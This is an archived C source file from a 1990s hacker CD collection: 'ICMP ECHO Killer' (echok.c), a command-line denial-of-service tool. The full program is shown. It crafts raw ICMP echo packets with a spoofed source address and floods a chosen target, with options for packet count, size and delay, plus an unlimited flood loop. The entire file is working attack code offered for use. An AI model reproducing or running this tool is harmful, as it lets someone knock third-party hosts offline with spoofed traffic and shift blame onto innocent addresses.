home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / echok-1.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  9KB  |  348 lines

  1. /*
  2.  * echok.c
  3.  * ICMP_ECHO Killer
  4.  * 
  5.  * Author: Zakath    Credits:  LOTSA thanks to crisk
  6.  * Don't be fooled. Very little is my orig code.
  7.  * [03.13.96]
  8.  */
  9.  
  10. #define RESOLVE_QUIET
  11. #define IPHDRSIZE sizeof(struct iphdr)
  12. #define ICMPHDRSIZE sizeof(struct icmphdr)
  13.  
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <stdio.h>
  17. #include <unistd.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <netdb.h>
  21.  
  22. #include <netinet/ip.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip_icmp.h>
  25.  
  26. #define ECHOK_VER "1.4"
  27.  
  28. /* GENERAL ROUTINES ------------------------------------------- */
  29.  
  30. void banner(void)
  31.      {
  32.     printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
  33.         printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
  34.      }
  35.     
  36. void usage(const char *progname)
  37.      {
  38.     printf("\nusage:\n  ");
  39.     printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
  40.     printf("\t-f          : enable flooding  (ping -f)\n");
  41.     printf("\t-n <number> : number of pings to send\n");
  42.     printf("\t-s <size>   : ICMP_ECHO Packet Size [Default is 64]\n");
  43.     printf("\t-w <time>   : Wait time between packets [Default is 100]\n");
  44.         printf("\t<spoof>     : address of fake ICMP packet sender\n");
  45.     printf("\t<dest>      : destination of the flood message\n");
  46.            printf("\n");
  47.      }
  48.  
  49. /* OPTION PARSING -------------------------------------------- */
  50.  
  51. unsigned char *dest_name;
  52. unsigned char *spoof_name = NULL;
  53. struct sockaddr_in destaddr, spoofaddr;
  54. unsigned long dest_addr;
  55. unsigned long spoof_addr;
  56. unsigned      pingsize, pingsleep, pingnmbr;
  57. char          flood = 0;
  58.  
  59.  
  60. /*
  61.  * in_cksum --
  62.  *  Checksum routine for Internet Protocol family headers (C Version)
  63.  */
  64. unsigned short in_cksum(addr, len)
  65.     u_short *addr;
  66.     int len;
  67. {
  68.     register int nleft = len;
  69.     register u_short *w = addr;
  70.     register int sum = 0;
  71.     u_short answer = 0;
  72.  
  73.     /*
  74.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  75.      * sequential 16 bit words to it, and at the end, fold back all the
  76.      * carry bits from the top 16 bits into the lower 16 bits.
  77.      */
  78.     while (nleft > 1)  {
  79.         sum += *w++;
  80.         nleft -= 2;
  81.     }
  82.  
  83.     /* mop up an odd byte, if necessary */
  84.     if (nleft == 1) {
  85.         *(u_char *)(&answer) = *(u_char *)w ;
  86.         sum += answer;
  87.     }
  88.  
  89.     /* add back carry outs from top 16 bits to low 16 bits */
  90.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  91.     sum += (sum >> 16);         /* add carry */
  92.     answer = ~sum;              /* truncate to 16 bits */
  93.     return(answer);
  94. }
  95.  
  96.  
  97. /* Nice resolve func. by crisk */
  98. int resolve( const char *name, struct sockaddr_in *addr, int port )
  99.      {
  100.     struct hostent *host;
  101.     
  102.     /* clear everything in case I forget something */
  103.     bzero((char *)addr,sizeof(struct sockaddr_in));
  104.     
  105.     if (( host = gethostbyname(name) ) == NULL )  {
  106. #ifndef RESOLVE_QUIET
  107.        fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
  108.        perror("");
  109. #endif
  110.        return -1;
  111.     }
  112.      
  113.     addr->sin_family = host->h_addrtype;
  114.     memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  115.     addr->sin_port = htons(port);
  116.      
  117.         return 0;
  118.      }
  119.  
  120. unsigned long addr_to_ulong(struct sockaddr_in *addr)
  121.      {
  122.     return addr->sin_addr.s_addr;
  123.      }
  124.  
  125.  
  126. int resolve_one(const char *name, unsigned long *addr, const char *desc)
  127.      {
  128.         struct sockaddr_in tempaddr;
  129.     if (resolve(name, &tempaddr,0) == -1) {
  130.        printf("error: can't resolve the %s.\n",desc);
  131.        return -1;
  132.     }
  133.             
  134.     *addr = tempaddr.sin_addr.s_addr;
  135.            return 0;
  136.      }
  137.  
  138. int resolve_all(const char *dest,
  139.         const char *spoof)
  140.      {
  141.         if (resolve_one(dest,&dest_addr,"dest address")) return -1;
  142.     if (spoof!=NULL) 
  143.       if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
  144.     
  145.     spoofaddr.sin_addr.s_addr = spoof_addr;
  146.         spoofaddr.sin_family = AF_INET;
  147.     destaddr.sin_addr.s_addr = dest_addr;
  148.     destaddr.sin_family      = AF_INET;
  149.      }
  150.     
  151. void give_info(void)
  152.      {
  153.     printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
  154.     printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
  155.     if (pingnmbr) printf("# number of packets       : %u\n",(pingnmbr));
  156.     printf("# icmp echo packet size   : %u\n",(pingsize+36));
  157.         printf("# wait time between send  : %u\n\n", pingsleep);
  158.      }
  159.  
  160. int parse_args(int argc, char *argv[]) 
  161.      {
  162.         int opt;
  163.     
  164.     char *endptr;
  165.     
  166.     while ((opt=getopt(argc, argv, "fn:s:w:")) != -1)  {
  167.        switch(opt)  {
  168.           case 'f': flood = 1; break;
  169.           case 'n': pingnmbr = strtoul(optarg,&endptr,10);
  170.                     if (*endptr != '\0')  {
  171.                    printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
  172.                return -1;
  173.                    }
  174.                 break;
  175.           case 's': pingsize = strtoul(optarg,&endptr,10);
  176.                     if (*endptr != '\0')  {
  177.                    printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
  178.                    return -1;
  179.                    }
  180.                 break;
  181.           case 'w': pingsleep = strtoul(optarg,&endptr,10);
  182.                     if (*endptr != '\0')  {
  183.                    printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
  184.                    return -1;
  185.                    }
  186.                 break;
  187.           case '?':
  188.           case ':': return -1; break;
  189.        }
  190.       
  191.     }
  192.         
  193.     if (optind > argc-2)  {
  194.        printf("%s: missing parameters\n",argv[0]);
  195.        return -1;
  196.     }
  197.         
  198.         if (!pingsize)
  199.           pingsize = 28;
  200.         else
  201.           pingsize = pingsize - 36 ;
  202.  
  203.         if (!pingsleep)
  204.           pingsleep = 100;
  205.  
  206.     spoof_name = argv[optind++];
  207.     dest_name = argv[optind++];
  208.     
  209.         return 0;                   
  210.      }
  211.  
  212. /*
  213.  * icmp_echo_send()
  214.  * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
  215.  * contain the IP header + 64 bits of original datagram, we create a bogus
  216.  * IP header and the first 64 bits of a TCP header (ports and syn). 
  217.  *
  218.  */
  219.  
  220.  inline int icmp_echo_send(int                socket, 
  221.                 unsigned long      spoof_addr,
  222.                unsigned long      t_addr,
  223.                unsigned           pingsize)
  224.      {
  225.     unsigned char packet[5122];
  226.     struct iphdr   *ip;
  227.     struct icmphdr *icmp;
  228.     struct iphdr   *origip;
  229.         unsigned char  *data;
  230.  
  231.         int i;
  232.     
  233.     ip = (struct iphdr *)packet;
  234.     icmp = (struct icmphdr *)(packet+IPHDRSIZE);
  235.     origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
  236.     data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
  237.     
  238.     memset(packet, 0, 5122);
  239.     
  240. /*    ip->saddr    = spoof_addr; */
  241.     ip->version  = 4;
  242.     ip->ihl      = 5; 
  243.     ip->ttl      = 255-random()%15;
  244.     ip->protocol = IPPROTO_ICMP;
  245.     ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
  246.     
  247.         bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
  248.         bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 
  249.  
  250.     ip->check    = in_cksum(packet,IPHDRSIZE);
  251.     
  252. /*        origip->saddr    = t_addr;   this is the 'original' header. */
  253.     origip->version  = 4;
  254.     origip->ihl      = 5;
  255.     origip->ttl      = ip->ttl - random()%15;
  256.     origip->protocol = IPPROTO_TCP; 
  257.     origip->tot_len  = IPHDRSIZE + 30; 
  258.     origip->id       = random()%69;
  259.     
  260.         bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));
  261.  
  262.            origip->check = in_cksum(origip,IPHDRSIZE);
  263.     
  264.     *((unsigned int *)data)          = htons(pingsize);
  265.  
  266.     /* 'original IP header + 64 bits (of bogus TCP header)' made. */
  267.     
  268.     icmp->type = 8; /* should be 3 */
  269.     icmp->code = 0;
  270.     
  271.     icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);
  272.  
  273.     return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
  274.               (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
  275.     
  276.     /* ICMP packet is now over the net. */
  277.     
  278.      }
  279.  
  280. /* MAIN ------------------------------------------------------ */
  281.  
  282. void main(int argc, char *argv[])
  283.      {
  284.         int s, i;
  285.         int floodloop;
  286.     
  287.           banner();
  288.         
  289.     if (parse_args(argc,argv)) 
  290.       {  
  291.          usage(argv[0]); 
  292.          return;
  293.       }
  294.     
  295.     resolve_all(dest_name, spoof_name);
  296.     give_info();
  297.            
  298.            s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  299.     
  300.         if (!flood)
  301.       {
  302.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
  303.          {
  304.             printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
  305.          }
  306.       }
  307.     else
  308.       {
  309.              floodloop = 0;
  310.              if ( pingnmbr && (pingnmbr > 0) )
  311.              {
  312.                printf("flooding... packet limit set.\n");
  313.                for (i=0;i<pingnmbr;i++)
  314.            {
  315.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
  316.              {
  317.             printf("%s: error sending packet\n",argv[0]); perror(""); return; 
  318.              }
  319.           usleep((pingsleep*1000));                 
  320.  
  321.              if (!(floodloop = (floodloop+1)%25)) 
  322.           { fprintf(stdout,"."); fflush(stdout); 
  323.              }
  324.         
  325.             }
  326.                printf("flooding completed - %u packets sent.\n", pingnmbr);
  327.              }
  328.              else {
  329.                printf("flooding. each dot equals 25 packets.\n");
  330.                for (i=0;i<1;i)
  331.            {
  332.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
  333.              {
  334.             printf("%s: error sending packet\n",argv[0]); perror(""); return; 
  335.              }
  336.           usleep(900);                 
  337.  
  338.              if (!(floodloop = (floodloop+1)%25)) 
  339.           { fprintf(stdout,"."); fflush(stdout); 
  340.              }
  341.         
  342.             }
  343.              }
  344.  
  345.       }
  346.      }
  347.  
  348.